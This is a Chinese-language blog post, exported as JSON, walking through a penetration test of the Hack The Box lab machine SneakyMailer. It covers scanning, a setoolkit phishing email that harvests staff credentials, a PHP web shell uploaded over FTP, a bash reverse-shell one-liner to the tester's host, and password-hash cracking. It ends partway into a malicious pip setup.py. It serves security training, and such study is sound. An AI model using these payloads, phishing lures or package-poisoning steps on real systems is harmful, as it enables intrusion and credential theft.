{"id":191,"date":"2024-11-13T11:01:41","date_gmt":"2024-11-13T03:01:41","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=191"},"modified":"2024-11-13T11:01:42","modified_gmt":"2024-11-13T03:01:42","slug":"191","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/191\/","title":{"rendered":"HTB\u9776\u673a SneakyMailer \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.197<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.197 (10.10.10.197) 56(84) bytes of data.\n64 bytes from 10.10.10.197: icmp_seq=1 ttl=63 time=101 ms\n64 bytes from 10.10.10.197: icmp_seq=2 ttl=63 time=86.3 ms\n64 bytes from 10.10.10.197: icmp_seq=3 ttl=63 time=85.4 ms\n64 bytes from 10.10.10.197: icmp_seq=4 ttl=63 time=87.0 ms\n\n--- 10.10.10.197 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3305ms\nrtt min\/avg\/max\/mdev = 85.398\/89.836\/100.583\/6.231 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Oct 27 18:01:35 2024 as: nmap -sF -p- --min-rate 4000 -oN .\/fin_report.txt 10.10.10.197\nNmap scan report for 10.10.10.197\nHost is up (0.088s latency).\nNot shown: 65528 closed tcp ports (reset)\nPORT     STATE         SERVICE\n21\/tcp   open|filtered ftp\n22\/tcp   open|filtered ssh\n25\/tcp   open|filtered smtp\n80\/tcp   open|filtered http\n143\/tcp  open|filtered imap\n993\/tcp  open|filtered imaps\n8080\/tcp open|filtered http-proxy\n\n# Nmap done at Sun Oct 27 18:01:58 2024 -- 1 IP address (1 host up) scanned in 22.89 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>7<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Oct 27 18:08:36 2024 as: nmap -sS -sV -A -p 21,22,25,80,143,993,8080 -oN .\/tcp_report.txt 10.10.10.197\nNmap scan report for 10.10.10.197\nHost is up (0.092s latency).\n\nPORT     STATE SERVICE  VERSION\n21\/tcp   open  ftp      vsftpd 3.0.3\n22\/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)\n|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)\n|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)\n25\/tcp   open  smtp     Postfix smtpd\n|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING\n80\/tcp   open  http     nginx 1.14.2\n|_http-server-header: nginx\/1.14.2\n|_http-title: Did not follow redirect to http:\/\/sneakycorp.htb\n143\/tcp  open  imap     Courier Imapd (released 2018)\n|_ssl-date: TLS randomness does not represent time\n|_imap-capabilities: CAPABILITY THREAD=REFERENCES NAMESPACE ENABLE STARTTLS CHILDREN completed IDLE IMAP4rev1 SORT UIDPLUS OK THREAD=ORDEREDSUBJECT ACL QUOTA ACL2=UNION UTF8=ACCEPTA0001\n| ssl-cert: Subject: commonName=localhost\/organizationName=Courier Mail Server\/stateOrProvinceName=NY\/countryName=US\n| Subject Alternative Name: email:postmaster@example.com\n| Not valid before: 2020-05-14T17:14:21\n|_Not valid after:  2021-05-14T17:14:21\n993\/tcp  open  ssl\/imap Courier Imapd (released 2018)\n| ssl-cert: Subject: commonName=localhost\/organizationName=Courier Mail Server\/stateOrProvinceName=NY\/countryName=US\n| Subject Alternative Name: email:postmaster@example.com\n| Not valid before: 2020-05-14T17:14:21\n|_Not valid after:  2021-05-14T17:14:21\n|_imap-capabilities: AUTH=PLAIN CAPABILITY THREAD=ORDEREDSUBJECT NAMESPACE ENABLE CHILDREN completed IDLE IMAP4rev1 THREAD=REFERENCES UIDPLUS OK SORT ACL QUOTA ACL2=UNION UTF8=ACCEPTA0001\n|_ssl-date: TLS randomness does not represent time\n8080\/tcp open  http     nginx 1.14.2\n|_http-open-proxy: Proxy might be redirecting requests\n|_http-title: Welcome to nginx!\n|_http-server-header: nginx\/1.14.2\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT      ADDRESS\n1   85.53 ms 10.10.14.1\n2   86.13 ms 10.10.10.197\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Oct 27 18:09:41 2024 -- 1 IP address (1 host up) scanned in 65.51 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Oct 27 18:11:22 2024 as: nmap -sU -p- --min-rate 4000 -oN .\/udp_ports.txt 10.10.10.197\nWarning: 10.10.10.197 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.197\nHost is up (0.099s latency).\nAll 65535 scanned ports on 10.10.10.197 are in ignored states.\nNot shown: 65360 open|filtered udp ports (no-response), 175 closed udp ports (port-unreach)\n\n# Nmap done at Sun Oct 27 18:14:24 2024 -- 1 IP address (1 host up) scanned in 181.36 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Debian Linux<\/code>\uff0c\u5b58\u5728\u90ae\u4ef6\u670d\u52a1\u548c\u57df\u540d<code>sneakycorp.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>FTP\u670d\u52a1\uff0821\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4ee5\u533f\u540d\u8d26\u6237\u8eab\u4efd\u767b\u5f55<code>FTP<\/code>\u670d\u52a1\uff0c\u5931\u8d25\u3002<\/p>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/sneakymailer]\n\u2514\u2500# nc -nv 10.10.10.197 22                                       \n(UNKNOWN) [10.10.10.197] 22 (ssh) open\nSSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/sneakycorp.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730076194775-c101acae-c856-4826-b9b0-11ea5153819c.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3b\u9875\u4e3a\u9759\u6001\u9875\u9762\uff0c\u5728\u9875\u9762\u4e2d\u53d1\u73b0\u4e86\u51e0\u53e5\u8bdd\uff1a<\/p>\n<pre><code class=\"language-html\"> &lt;!-- need to add Register link to Sidebar for \/pypi\/register.php --&gt;\n &lt;div class=\"text-truncate\"&gt;Hey! My name is Bradley Greer, I am your personal code tester&lt;\/div&gt;\n&lt;div class=\"small text-gray-500\"&gt;Bradley Greer \u00b7 58m&lt;\/div&gt;\n&lt;div class=\"text-truncate\"&gt;Talk with Bradley, he is your personal tester&lt;\/div&gt;\n&lt;div class=\"small text-gray-500\"&gt;Cara Stevens \u00b7 1d&lt;\/div&gt;\n&lt;div class=\"text-truncate\"&gt;Excellent job with those modules,hope you keep working this way&lt;\/div&gt;\n&lt;div class=\"small text-gray-500\"&gt;Cara Stevens \u00b7 2d&lt;\/div&gt;\n&lt;div class=\"text-truncate\"&gt;Hello! I am the owner of the company, you are going to report to me now on&lt;\/div&gt;\n&lt;div class=\"small text-gray-500\"&gt;Cara Stevens \u00b7 2w&lt;\/div&gt;<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8bbf\u95ee<code>http:\/\/sneakycorp.htb\/pypi\/register.php<\/code>\uff0c\u53d1\u73b0\u6ce8\u518c\u9875\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730076534857-8ec8c55f-01c9-4a90-802c-b8b6f9e32272.png\" alt=\"\" \/><\/p>\n<p>\u8bbf\u95ee<code>Team<\/code>\u9875\u9762\uff0c\u53d1\u73b0\u8be5\u9875\u9762\u4e3a\u7528\u6237\u5217\u8868\u5c55\u793a\u9875\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730076618781-8db041aa-2e0f-4871-9da3-20a33e3d6f9f.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u5411\u641c\u7d22\u6846\u4e2d\u8f93\u5165\u5b57\u7b26\u5e76\u62e6\u622a\u6d41\u91cf\u5305\uff0c\u53d1\u73b0\u524d\u7aef\u9875\u9762\u5e76\u672a\u5411\u540e\u7aef\u53d1\u9001\u4efb\u4f55\u8bf7\u6c42\u4fe1\u606f\uff0c\u5305\u62ec\u5207\u6362\u9875\u9762\u548c\u6bcf\u9875\u663e\u793a\u6570\u91cf\u3002\u8fd9\u8bf4\u660e\u8be5\u9875\u9762\u53ea\u662f\u5c06\u6570\u636e\u5e93\u5185\u7684\u7528\u6237\u6570\u636e\u5168\u90e8\u67e5\u8be2\u51fa\u6765\u663e\u793a\u5728\u524d\u7aef\u9875\u9762\uff0c\u800c\u524d\u7aef\u7684\u641c\u7d22\u6846\u3001\u9875\u9762\u5207\u6362\u6309\u94ae\u7b49\u5143\u7d20\u53ea\u662f\u64cd\u4f5c<code>DOM<\/code>\u6811\u6765\u8fbe\u5230\u641c\u7d22\u548c\u7ffb\u9875\u7684\u76ee\u7684\u3002<\/p>\n<p>\u5c1d\u8bd5\u5411\u6ce8\u518c\u9875\u9762\u6ce8\u518c\u65b0\u7528\u6237\uff0c\u53d1\u73b0\u70b9\u51fb\u6309\u94ae\u540e\uff0c\u524d\u7aef\u9875\u9762\u786e\u5b9e\u53d1\u51fa\u4e86<code>POST<\/code>\u8bf7\u6c42\uff0c\u4f46\u5237\u65b0<code>Team<\/code>\u9875\u9762\u540e\u672a\u53d1\u73b0\u65b0\u7528\u6237\u540d\u51fa\u73b0\uff0c\u6000\u7591\u8be5\u9875\u9762\u540e\u7aef\u63a5\u53e3\u5c1a\u672a\u5f00\u53d1\u5b8c\u6210\u3002<\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Mon Oct 28 09:27:58 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/sneakycorp.htb\/ -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,pcap -w \/usr\/share\/wordlists\/dirb\/big.txt\n\n301   185B   http:\/\/sneakycorp.htb\/css    -&gt; REDIRECTS TO: http:\/\/sneakycorp.htb\/css\/\n301   185B   http:\/\/sneakycorp.htb\/img    -&gt; REDIRECTS TO: http:\/\/sneakycorp.htb\/img\/\n301   185B   http:\/\/sneakycorp.htb\/js    -&gt; REDIRECTS TO: http:\/\/sneakycorp.htb\/js\/\n301   185B   http:\/\/sneakycorp.htb\/vendor    -&gt; REDIRECTS TO: http:\/\/sneakycorp.htb\/vendor\/<\/code><\/pre>\n<p>\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff088080\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/sneakycorp.htb:8080\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730080090082-2954e536-b251-487a-be19-ad87b3fdac24.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3a\u9ed8\u8ba4\u9875\u9762\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff0c\u4f46\u672a\u53d1\u73b0\u4efb\u4f55\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u4e3b\u7ad9\u5b50\u57df\u540d\u679a\u4e3e<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u6709\u6548\u4fe1\u606f\uff0c\u4e8e\u662f\u51b3\u5b9a\u8fdb\u884c\u5927\u8303\u56f4\u4fe1\u606f\u679a\u4e3e\uff08\u5305\u62ec\u5b50\u57df\u540d\u679a\u4e3e\u3001\u5927\u5b57\u5178\u76ee\u5f55\u679a\u4e3e\u548c\u5bf9\u5df2\u7ecf\u5b58\u5728\u6587\u4ef6\u7684\u53c2\u6570\u6a21\u7cca\u6d4b\u8bd5\uff09\u3002\u9996\u5148\u8fdb\u884c\u5bf9<code>80<\/code>\u7aef\u53e3\u7684\u5b50\u57df\u540d\u679a\u4e3e\uff1a<\/p>\n<pre><code class=\"language-shell\">wfuzz -u sneakycorp.htb -H \"Host: FUZZ.sneakycorp.htb\" -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/subdomains-top1million-5000.txt -t 60 --hc 301<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730084660057-8fc0983a-f51f-483c-9292-732b98b717e8.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u57df\u540d<code>dev.sneakycorp.htb<\/code>\u3002\u4f46\u8bbf\u95ee\u4e4b\u540e\uff0c\u53d1\u73b0\u8be5\u57df\u540d\u4e0b\u7f51\u7ad9\u548c\u6839\u57df\u540d\u4e0b\u7684\u4f3c\u4e4e\u76f8\u540c\u3002<\/p>\n<h2>\u90ae\u4ef6\u7fa4\u53d1\u9493\u9c7c\u653b\u51fb<\/h2>\n<p>\u5728\u4fe1\u606f\u6536\u96c6\u8fc7\u7a0b\u4e2d\uff0c\u53d1\u73b0\u7f51\u7ad9\u4e3b\u9875\u4e0a\u6709<code>57<\/code>\u4e2a\u90ae\u4ef6\u5730\u5740\u3002\u5982\u679c\u5411\u8fd9\u4e9b\u90ae\u7bb1\u9010\u4e00\u53d1\u9001\u9493\u9c7c\u90ae\u4ef6\uff0c\u7ed3\u679c\u4f1a\u5982\u4f55\uff1f<\/p>\n<p>\u76f4\u63a5\u5c06<code>sneakycorp.htb<\/code>\u4e3b\u9875\u4e0a\u6536\u96c6\u5230\u7684\u90ae\u7bb1\u5730\u5740\u4fdd\u5b58\u4e3a\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730087717108-9ae51dbe-81f8-4a5e-b33e-47810116d6a0.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528\u793e\u4f1a\u5de5\u7a0b\u5b66\u5de5\u5177<code>setoolkit<\/code>\u5411\u4ee5\u4e0a\u6bcf\u4e2a\u90ae\u7bb1\u53d1\u9001\u5168\u5458\u90ae\u4ef6\uff0c\u8fd9\u91cc\u7f16\u5199\u4e86\u4e00\u4efd\u516c\u53f8<code>CEO<\/code>\u7ed9\u5168\u4f53\u5458\u5de5\u7684\u964d\u85aa\u901a\u77e5\uff0c\u901a\u77e5\u4e2d\u5305\u542b\u4e00\u4e2a\u6307\u5411\u653b\u51fb\u673a<code>80<\/code>\u7aef\u53e3\u7684\u94fe\u63a5\uff1a<\/p>\n<pre><code class=\"language-plain\">========== Title: A important notice about the SALARY\n========== From: angelicaramos@sneakymailer.htb (Angelica Ramos)\nDear colleagues:\n  I'm so sorry to inform every colleagues, that because of the bad business situation of the company, the board has just made a import decision: the salary of everyone will be cut since next month, but everyone's amount of this salary cut is different. Every staff can log into this website &lt;a href=\"http:\/\/10.10.14.2\/notice?salary\"&gt;Salary List&lt;\/a&gt; to find your salary list. Thanks everyone's support!\n                                                Best regards!\n                                                The Human Resource Team<\/code><\/pre>\n<p>\u968f\u540e\u5c06\u4e2d\u7ee7\u7528\u6237\u540d\u548c\u5bc6\u7801\u8bbe\u7f6e\u4e3a\u7a7a\uff0c<code>SMTP<\/code>\u670d\u52a1\u5668\u5730\u5740\u8bbe\u7f6e\u4e3a<code>10.10.10.197<\/code>\uff0c\u6279\u91cf\u53d1\u9001\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730088107693-1ef3a2a6-e899-4a25-88f9-57a6ef65f9be.png\" alt=\"\" \/><\/p>\n<p>\u5728\u53d1\u9001\u524d\uff0c\u4f7f\u7528<code>netcat<\/code>\u5de5\u5177\u76d1\u542c\u653b\u51fb\u673a<code>80<\/code>\u7aef\u53e3\uff1a<\/p>\n<pre><code class=\"language-shell\">rlwrap nc -l -p 80 -s 10.10.14.2<\/code><\/pre>\n<p>\u4e0d\u4e00\u4f1a\u513f\u63a5\u6536\u5230\u4e86\u67d0\u4e2a\u7528\u6237\u7684<code>HTTP<\/code>\u8bbf\u95ee\u8bf7\u6c42\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730088239409-33f70a18-aedc-4530-981c-a824890d838e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>Paul Byrd<\/code><\/li>\n<li>\u90ae\u7bb1\u5730\u5740\uff1a<code>paulbyrd@sneakymailer.htb<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>^(#J@SkFv2[%KhIxKk(Ju<\/code>hqcHl&lt;:Ht`<\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u767b\u5f55\u9776\u673a<code>IMAP<\/code>\u670d\u52a1\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730088638850-2d674197-3047-4e21-8a60-b14426d5fee3.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>FTP\u5199\u5165\u7f51\u9875\u6728\u9a6c<\/h2>\n<p>\u4f7f\u7528<code>ThunderBird<\/code>\u5de5\u5177\u767b\u5f55\u9776\u673a<code>IMAP<\/code>\u670d\u52a1\uff0c\u53d1\u73b0<code>Paul<\/code>\u7528\u6237\u7684\u53d1\u4ef6\u7bb1\u4e2d\u6709\u4e24\u5c01\u90ae\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730090277614-a2f78ddf-cb1c-4a38-a16e-06c9d4125ab3.png\" alt=\"\" \/><\/p>\n<p>\u5176\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-shell\">========== Title: Module testing\n========== To: low@debian\nHello low\n\nYour current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.\n====================\n========== Title: Password reset\n========== To: root@debian (root)\nHello administrator, I want to change this password for the developer account\n\nUsername: developer\nOriginal-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C\n\nPlease notify me when you do it\n====================<\/code><\/pre>\n<p><strong>\u6210\u529f\u83b7\u5f97\u7528\u6237\u51ed\u636e\uff1a<\/strong><\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>developer<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C<\/code><\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u6b64\u51ed\u636e\u767b\u5f55\u9776\u673a<code>FTP<\/code>\u670d\u52a1\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730090607803-76cc1196-570e-4a10-89e8-0a35a5027fb7.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<p>\u70b9\u51fb<code>dev<\/code>\u6587\u4ef6\u5939\uff0c\u53d1\u73b0\u4e3a\u7f51\u9875\u76ee\u5f55\uff0c\u7ed3\u5408\u524d\u671f\u8fdb\u884c\u5b50\u57df\u540d\u679a\u4e3e\u7684\u53d1\u73b0\uff0c\u63a8\u6d4b\u6b64\u76ee\u5f55\u4e3a<code>dev.sneakycorp.htb<\/code>\u57df\u540d\u7684\u6839\u76ee\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730090704643-9fcd8be6-e002-4f1d-81eb-a45b121eb0e1.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u5411<code>css<\/code>\u6587\u4ef6\u5939\u5199\u5165\u7f51\u9875\u6728\u9a6c<code>sparkle.php<\/code>\uff0c\u7136\u540e\u8bbf\u95ee\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n  $command = $_GET[\"cmd\"];\n  if (isset($command) &amp;&amp; !empty($command)) {\n    system($command);\n  } else die(\"Hello, hello, I'm sparkle!\");\n?&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730091156849-86ce0757-38b0-42b3-82a1-e613a1ddb745.png\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20\u6210\u529f\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u6267\u884c\u53cd\u5f39Shell\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.2\/443 0&gt;&amp;1'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730091440132-2d5bb1ff-4081-46af-b6c8-c11fa755c5c5.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3developer\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u5c1d\u8bd5\u67e5\u770b<code>\/etc\/passwd<\/code>\u6587\u4ef6\uff0c\u786e\u5b9a\u9776\u673a\u5185\u7684\u8f83\u9ad8\u6743\u9650\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">cat \/etc\/passwd | grep \"\/bin\/bash\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730275132855-d3fc9dce-abfa-464a-bb42-b86c73bc262c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>developer<\/code>\u7528\u6237\uff01\u5c1d\u8bd5\u4f7f\u7528\u4e4b\u524d\u5728\u90ae\u7bb1\u5185\u83b7\u53d6\u5230\u7684\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730275314481-f8b4965a-f0e9-465b-bbb9-77b419900c64.png\" alt=\"\" \/><\/p>\n<h2>pypiserver\u63d0\u6743<\/h2>\n<p>\u5207\u6362\u81f3<code>developer<\/code>\u7528\u6237\u540e\uff0c\u5bf9\u64cd\u4f5c\u7cfb\u7edf\u8fdb\u884c\u4fe1\u606f\u9884\u6536\u96c6\uff0c\u5728<code>\/var\/www<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86<code>pypi.sneakymailer.htb<\/code>\u6587\u4ef6\u5939\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730276025167-80669ad5-db8d-46e0-a234-cfe6d8436be7.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8bbf\u95ee<code>http:\/\/pypi.sneakycorp.htb:8080\/<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730276393973-9372a7f0-72cd-4708-b835-d88ded98b14a.png\" alt=\"\" \/><\/p>\n<p>\u4f46\u8fdb\u5165<code>Python<\/code>\u5305\u7ba1\u7406\u5217\u8868\u9700\u8981\u8fdb\u884c\u8eab\u4efd\u8ba4\u8bc1\uff0c\u76f4\u63a5\u8bfb\u53d6<code>.htpasswd<\/code>\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-plain\">pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR\/p\/<\/code><\/pre>\n<p>\u76f4\u63a5\u4f7f\u7528<code>john<\/code>\u5de5\u5177\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">john .\/pypi_hash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730277104489-0b5a403b-7257-4cd3-9ecb-3d3313e813fa.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u53d6\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>pypi<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>soufianeelhaoui<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>pypiserver<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730277220083-981b39ae-9a2f-4422-9d94-2a6f6a2d5d10.png\" alt=\"\" \/><\/p>\n<p><strong>\u767b\u5f55\u6210\u529f\uff01\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u5c06\u53cd\u5f39Shell\u7684Python\u811a\u672c\u6253\u5305\u6210<\/strong><code>**PIP**<\/code><strong>\u5305\u683c\u5f0f\u540e\u4e0a\u4f20\u81f3\u670d\u52a1\u5668\u3002<\/strong><\/p>\n<p>\u9996\u5148\u521b\u5efa\u76ee\u5f55\uff0c\u7136\u540e\u5728\u76ee\u5f55\u4e2d\u521b\u5efa\u5982\u4e0b\u6587\u4ef6\u548c\u5b50\u76ee\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730280023683-e4fe2643-3810-4a30-9488-adb4b3b2c878.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u91cd\u70b9\u4fee\u6539<code>setup.py<\/code>\u6587\u4ef6\uff0c\u521b\u5efa\u4e00\u4e2a\u7ee7\u627f\u81ea<code>setuptools.command.install<\/code>\u7684\u7c7b\uff0c\u5e76\u5c06\u7c7b\u7684\u5305\u5b89\u88c5\u65b9\u6cd5<code>run()<\/code>\u7f16\u5199\u4e3a\u53cd\u5f39Shell\u7684\u4ee3\u7801\uff0c\u6700\u540e\u4f7f\u7528<code>setup()<\/code>\u51fd\u6570\u542f\u52a8\u5b89\u88c5\u51fd\u6570\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-python\">import os\nimport socket\nimport subprocess\nfrom setuptools import setup\nfrom setuptools.command.install import 